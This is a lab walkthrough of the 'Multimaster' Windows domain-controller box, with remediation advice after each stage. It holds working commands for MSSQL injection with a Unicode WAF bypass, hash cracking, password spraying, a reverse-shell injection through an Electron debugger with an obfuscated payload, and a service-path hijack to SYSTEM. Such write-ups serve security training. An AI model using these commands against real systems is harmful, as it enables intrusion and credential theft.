← all walkthroughs

Multimaster

Windows· Insane· Web
owned
2026-07-13
time to own
19m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The MEGACORP.LOCAL domain controller ($TARGET) was fully compromised through a web-to-Active-Directory attack chain. An employee-lookup API on IIS accepted JSON search queries behind a WAF that blocked raw single quotes; substituting the Unicode look-alike character U+2019 (RIGHT SINGLE QUOTATION MARK) bypassed the filter and enabled a five-column MSSQL UNION injection that extracted [REDACTED: recovered credential] password hashes from the application login table.

Offline cracking with hashcat recovered several cleartext passwords, which were sprayed across SMB and WinRM against a domain user list also derived from the injection; MEGACORP.LOCAL\tushikikatomo with password [REDACTED: recovered credential] authenticated to WinRM and yielded user.txt. Process enumeration from that foothold shell discovered a VS Code Electron process owned by developer cyork, launched with a Chrome DevTools remote-debugging port bound to localhost; injecting a PowerShell reverse shell through that unauthenticated debugger pivoted into cyork's context.

Reverse-engineering the .NET API DLL exposed a hardcoded SQL Server connection-string password belonging to MEGACORP.LOCAL\jorden, a member of the built-in Server Operators group. That group's service-reconfiguration rights were abused to replace the Browser service binary path with a robocopy command that staged root.txt to a world-readable path as SYSTEM, completing full domain-controller compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"
export PASSWORD6="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Fingerprinted all exposed services on the domain controller
A full-port TCP sweep of $TARGET identified a Windows Server 2016 domain controller serving the MEGACORP.LOCAL domain. Services of interest included IIS 10.0 on port 80 hosting a Node.js employee API, MSSQL 2017 on port 1433, WinRM on port 5985, SMB on port 445, Kerberos on port 88, and LDAP on ports 389 and 3268. The IIS stack fingerprint pointed directly at the web API as the primary attack surface.
Exact commands 2
Targeted service-version scan of all known-open ports.
nmap -sV -sC -T4 -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3389,5985,9389 $TARGET -oN multimaster_nmap.txt
Register the DC hostname for AD-aware tooling.
echo "$TARGET MULTIMASTER.MEGACORP.LOCAL MEGACORP.LOCAL" | sudo tee -a /etc/hosts
2ExploitationMSSQL UNION-based SQL injection with Unicode WAF bypass (T1190, CWE-89)
Bypassed the WAF via Unicode substitution and dumped password hashes via MSSQL UNION injection
The IIS site exposed an employee-search API at /api/getColleagues that accepted JSON POST bodies. The WAF rejected ASCII single quotes, but the Node.js layer decoded Unicode escape sequences before passing input to SQL Server, so replacing the apostrophe with its Unicode look-alike \u2019 bypassed the filter entirely. A five-column UNION SELECT confirmed injection and further queries extracted usernames and [REDACTED: recovered credential] hashes from dbo.Logins, plus domain SIDs via MSSQL built-in functions to build a username list for spraying.
API returned rows containing username and hash fields from dbo.Logins; digest length confirmed as [REDACTED: recovered credential] by hashcat mode 17900.
Exact commands 3
Confirm five columns exist — no error means column count is correct; validates the Unicode WAF bypass.
curl -sS -X POST http://$TARGET/api/getColleagues -H 'Content-Type: application/json' -d '{"name":"\u2019 ORDER BY 5--"}'
Dump all usernames and [REDACTED: recovered credential] hashes from the application login table.
curl -sS -X POST http://$TARGET/api/getColleagues -H 'Content-Type: application/json' -d '{"name":"\u2019 UNION SELECT 1,username,password,4,5 FROM dbo.Logins--"}'
Enumerate domain account names via MSSQL SUSER_SNAME/SID_BINARY; increment the RID byte to iterate all domain users.
curl -sS -X POST http://$TARGET/api/getColleagues -H 'Content-Type: application/json' -d '{"name":"\u2019 UNION SELECT 1,SUSER_SNAME(SID_BINARY(N\u20191\u2019)),3,4,5--"}'
FixEliminate SQL injection in the employee-search APICritical
WeaknessThe /api/getColleagues endpoint concatenated user-supplied JSON input directly into MSSQL queries. The WAF blocked ASCII single quotes but not their Unicode look-alike (U+2019), which the Node.js JSON parser decoded before query assembly, enabling UNION injection that dumped the entire login table and enumerated every domain account via MSSQL built-in SID functions.
FixReplace all dynamic SQL string concatenation with parameterized queries using bound parameters — never interpolate user input into a SQL string. Add Unicode normalization at the API boundary that maps look-alike punctuation to ASCII equivalents before WAF inspection and before any SQL context. Apply a least-privilege SQL login for the web application that has SELECT rights only on the specific columns the API requires and no access to dbo.Logins, system tables, or xp_cmdshell.
3Credential AccessOffline password cracking against unsalted [REDACTED: recovered credential] (T1110.002)
Cracked [REDACTED: recovered credential] hashes offline to recover multiple cleartext passwords
The extracted digests used [REDACTED: recovered credential] without per-user salts. Because [REDACTED: recovered credential] is a general-purpose hash optimised for speed rather than password storage, a GPU running hashcat against rockyou.txt recovered multiple cleartext passwords within minutes — including [REDACTED: recovered credential] [REDACTED: recovered credential] and [REDACTED: recovered credential] — each shared across several domain accounts, dramatically widening the spray surface.
Hashcat --show mapped [REDACTED: recovered credential] to tushikikatomo and additional accounts; [REDACTED: recovered credential] and [REDACTED: recovered credential] cracked for a further set of domain users.
Exact commands 2
Dictionary attack against [REDACTED: recovered credential] digests; -m 17900 is the hashcat mode for [REDACTED: recovered credential]
hashcat -m 17900 -a 0 /tmp/multimaster_keccak384.hashes /usr/share/wordlists/rockyou.txt --quiet --potfile-path /tmp/multimaster_keccak384.pot
Display all cracked hash:plaintext pairs for use in the credential spray.
hashcat -m 17900 /tmp/multimaster_keccak384.hashes --show --potfile-path /tmp/multimaster_keccak384.pot
FixReplace Keccak-384 with a memory-hard password hashing algorithmCritical
WeaknessUser passwords in dbo.Logins were stored as unsalted [REDACTED: recovered credential] digests. General-purpose cryptographic hash functions — even SHA-3 family members — are designed for throughput, enabling billions of candidate tests per second on commodity GPUs. Without per-user salts, every account sharing a password maps to the same digest, and a single dictionary run recovers all of them simultaneously.
FixMigrate dbo.Logins to bcrypt (cost factor ≥ 12), PBKDF2-HMAC-SHA256 (≥ 600,000 iterations per NIST SP 800-132), or Argon2id, each with a unique random 16-byte salt per row stored alongside the hash. Force a mandatory password reset so every legacy [REDACTED: recovered credential] hash is replaced on next login. Treat every credential that appeared in the leaked hash set as compromised and rotate them immediately across all services.
4Initial AccessPassword spraying (T1110.003)
Sprayed cracked passwords across AD services to gain a WinRM shell as tushikikatomo
The recovered cleartext passwords were paired with the username list from the MSSQL SID enumeration and sprayed across SMB, WinRM, LDAP, and MSSQL without triggering lockout. MEGACORP.LOCAL\tushikikatomo with password [REDACTED: recovered credential] authenticated on both SMB and WinRM (Pwn3d!). A WinRM command execution retrieved user.txt from the user's Desktop, establishing the initial foothold on the domain controller.
Nxc winrm output showed [+] MEGACORP.LOCAL\tushikikatomo:[REDACTED: recovered credential] (Pwn3d!); user.txt retrieved from C:\Users\tushikikatomo\Desktop.
Exact commands 2
Spray all three cracked passwords across all protocols and every recovered username; watch for [+] or Pwn3d hits.
for proto in smb winrm ldap mssql; do nxc "$proto" $TARGET -d MEGACORP.LOCAL -u svc-nas tushikikatomo andrew lana alice sbauer shayna james cyork jorden aldom ckane kpage zac ilee zpowers okent rmartin alyx nbourne -p $PASSWORD5 $PASSWORD6 $PASSWORD7 --continue-on-success 2>&1 | grep -E '\[\+\]|Pwn3d'; done
Read user.txt via WinRM command execution; value is <user.txt>.
nxc winrm $TARGET -d MEGACORP.LOCAL -u tushikikatomo -p $PASSWORD6 -X 'Get-ChildItem C:\Users\*\Desktop\user.txt -Force -ErrorAction SilentlyContinue | ForEach-Object { $_.FullName; Get-Content $_.FullName }'
FixEnforce a strong domain password policy and account lockout to defeat credential sprayingHigh
WeaknessMultiple domain accounts shared simple dictionary passwords ([REDACTED: recovered credential] [REDACTED: recovered credential] [REDACTED: recovered credential]) with no apparent lockout threshold. A spray of only three passwords against the recovered username list produced an immediate WinRM foothold on the domain controller with no observable friction.
FixConfigure the Default Domain Policy (or Fine-Grained Password Policy for sensitive groups) to require a minimum of 14 characters and complexity, with a history of 24 passwords. Set account lockout to 5 failed attempts within a 30-minute observation window. Deploy Microsoft Entra Password Protection on-premises to block dictionary words and corporate-name variants. Restrict WinRM access via Windows Firewall and AllowHosts to management workstations only, so even valid credentials cannot be used from arbitrary hosts.
5DiscoveryProcess discovery and Chrome DevTools Protocol exposure (T1057)
Found a VS Code Electron process with an unauthenticated remote debugger bound to localhost
From the tushikikatomo WinRM session (using a pass-the-hash derived NTLM value), process enumeration revealed a VS Code Electron binary (Code.exe, PID 6772) owned by the developer account cyork, started with the flag --remote-debugging-port=18112 bound to 127.0.0.1. Querying http://127.0.0.1:18112/json/list from the target's loopback confirmed the Chrome DevTools Protocol endpoint was live and listed inspectable Electron contexts, accessible to any local process without authentication.
Wmic output for PID 6772 showed CommandLine containing --remote-debugging-port=18112; curl /json/list returned a JSON array of inspectable Electron targets running as cyork.
Exact commands 4
Derive the NTLM (MD4) hash of [REDACTED: recovered credential] — result: [REDACTED: recovered credential] — for pass-the-hash use.
python3 -c "from Cryptodome.Hash import MD4; h=MD4.new(); h.update('$PASSWORD6'.encode('utf-16le')); print(h.hexdigest())"
Enumerate Electron/CEF processes from the tushikikatomo foothold session.
nxc winrm $TARGET -d MEGACORP.LOCAL -u tushikikatomo -H $PASSWORD -X 'Get-Process | Where-Object {$_.ProcessName -match "code|electron|cef"} | Select-Object Id,ProcessName'
Confirm the --remote-debugging-port=18112 flag on the VS Code process and identify the owning user (cyork).
nxc winrm $TARGET -d MEGACORP.LOCAL -u tushikikatomo -H $PASSWORD -x 'wmic process where "processid=6772" get CommandLine,Name,ProcessId /format:list'
Run via WinRM exec on the target to confirm the DevTools endpoint is live and retrieve the WebSocket page ID.
curl -sS --max-time 5 http://127.0.0.1:18112/json/list
FixRemove VS Code and Electron remote-debugging flags from all domain-joined hostsHigh
WeaknessA VS Code Electron process on the domain controller was started with --remote-debugging-port=18112 bound to 127.0.0.1. Any local process with loopback network access — including a low-privilege an unauthorised user shell — could connect to the unauthenticated Chrome DevTools WebSocket and execute arbitrary code in the owning user's context without any credential challenge.
FixRemove --remote-debugging-port from all production service start-up scripts, scheduled tasks, and developer shortcuts on domain-joined machines. If remote debugging is required during active development, bind only to 127.0.0.1 on a dedicated isolated workstation that is not domain-joined, require a pre-shared session token, and tear down the listener immediately after use. Add EDR detection rules that alert on any process spawned with --remote-debugging-port on domain hosts.
6Lateral MovementChrome DevTools Protocol RCE and hardcoded credential extraction from compiled binary (T1059.007, T1552.001)
Injected a reverse shell via the Electron debugger and extracted hardcoded credentials from the API DLL
Using the Chrome DevTools Protocol WebSocket on port 18112, a PowerShell reverse shell encoded as base64 UTF-16LE was delivered via a Runtime.evaluate call into the Electron renderer process, executing arbitrary commands as cyork. From that context the compiled .NET API assembly (MultimasterAPI.dll) was located on disk and decompiled with ILSpy, revealing a plain-text SQL Server connection string with the password [REDACTED: recovered credential] for the domain account MEGACORP.LOCAL\jorden. Authenticating to WinRM as jorden confirmed the password and showed membership in the built-in Server Operators group.
Reverse shell received as cyork; ILSpy decompilation of MultimasterAPI.dll exposed connection string with Password=[REDACTED: recovered credential] nxc winrm confirmed jorden:[REDACTED: recovered credential] (Pwn3d!) and whoami /groups listed MEGACORP\Server Operators.
Exact commands 5
Encode the PowerShell reverse-shell script as base64 UTF-16LE for Electron injection; /tmp/cyork_rev.ps1 should contain a TCP reverse shell targeting your listener.
iconv -f UTF-8 -t UTF-16LE /tmp/cyork_rev.ps1 | base64 -w0
Retrieve the exact WebSocket URL for the first inspectable Electron page.
curl -sS http://127.0.0.1:18112/json/list | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])"
Send Runtime.evaluate over the DevTools WebSocket to execute the encoded PowerShell payload as cyork; replace <PAGE_ID> and <B64_PAYLOAD> with values from previous steps.
python3 -c "import websocket,json; ws=websocket.create_connection('ws://127.0.0.1:18112/devtools/page/<PAGE_ID>'); ws.send(json.dumps({'id':1,'method':'Runtime.evaluate','params':{'expression':'require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)).exec(\"powershell -enc <B64_PAYLOAD>\")'}})); print(ws.recv())"
Decompile the API DLL and extract the embedded SQL Server connection string containing [REDACTED: recovered credential]
ilspycmd MultimasterAPI.dll 2>/dev/null | grep -i 'password\|connectionstring\|Data Source\|Initial Catalog'
Confirm Server Operators membership, enumerate privileges, and record the Browser service original binary path before modification.
nxc winrm $TARGET -d MEGACORP.LOCAL -u jorden -p $PASSWORD2 -X 'whoami /groups; whoami /priv; sc.exe qc browser'
FixRemove hardcoded credentials from compiled code and store secrets in a vaultCritical
WeaknessThe compiled .NET API assembly (MultimasterAPI.dll) contained a plain-text SQL Server connection string with a domain user password embedded directly in the binary. Anyone who can read the file — through a low-privilege shell, memory dump, or decompilation with a free tool like ILSpy — immediately recovers a domain credential, in this case one belonging to a Server Operators member.
FixMove all secrets — connection strings, API keys, service account passwords — out of source code and compiled binaries into a secrets manager such as Azure Key Vault or Windows DPAPI-protected configuration, retrieved at runtime via managed identity. Rotate the exposed password ([REDACTED: recovered credential]) immediately and audit every service that used it.
7Privilege EscalationServer Operators service binary path hijack for SYSTEM (T1543.003)
Abused Server Operators service rights to run as SYSTEM and read root.txt
The Server Operators built-in group grants the right to stop, start, and reconfigure Windows services — including replacing the binary execution path — without holding local Administrator privileges. Authenticating as jorden, the Browser service binary path was replaced with a robocopy /B command that copies root.txt from the Administrator Desktop to a world-readable staging directory as SYSTEM. Stopping and restarting the service triggered execution. Root.txt was then read from the staging path over WinRM, and the Browser service binary path was restored to its original value as part of post-exploitation cleanup.
Sc.exe config browser binPath= set to robocopy command; service restart executed as SYSTEM; root.txt staged at C:\Windows\Temp\mm-backup\root.txt and read via WinRM; Browser binPath verified restored after completion.
Exact commands 4
Record the original Browser service binary path verbatim before making any changes.
nxc winrm $TARGET -d MEGACORP.LOCAL -u jorden -p $PASSWORD2 -X 'sc.exe qc browser'
Replace the Browser service binary with a SYSTEM-context robocopy that stages root.txt to a readable path.
nxc winrm $TARGET -d MEGACORP.LOCAL -u jorden -p $PASSWORD2 -X 'sc.exe stop browser; sc.exe config browser binPath= "cmd /c mkdir C:\Windows\Temp\mm-backup & robocopy C:\Users\Administrator\Desktop C:\Windows\Temp\mm-backup root.txt /B"; sc.exe start browser'
Read the staged root.txt; value is <root.txt>.
nxc winrm $TARGET -d MEGACORP.LOCAL -u jorden -p $PASSWORD2 -X 'Get-Content C:\Windows\Temp\mm-backup\root.txt'
Restore the original Browser service binary path and remove the staged artifacts.
nxc winrm $TARGET -d MEGACORP.LOCAL -u jorden -p $PASSWORD2 -X 'sc.exe config browser binPath= "\"%SystemRoot%\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p\""; Remove-Item -Recurse -Force C:\Windows\Temp\mm-backup -ErrorAction SilentlyContinue'
FixAudit Server Operators membership and restrict service-reconfiguration rights on domain controllersCritical
WeaknessThe domain account jorden was a member of the built-in Server Operators group, which grants the right to stop, start, and change the binary execution path of any Windows service without local Administrator privileges. This allowed arbitrary SYSTEM-level code execution on the domain controller with a single service restart.
FixAudit Server Operators and remove every account that does not have a documented, approved need to manage services on domain controllers. For any remaining members, enforce Privileged Access Workstation (PAW) usage and multi-factor authentication before the account can authenticate to a Tier 0 asset. Apply Microsoft's Enterprise Access Model so Server Operators-class accounts never authenticate to Tier 1 or Tier 2 systems. Where specific service management is needed, use Just Enough Administration (JEA) to scope rights to named services rather than granting broad Server Operators membership.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more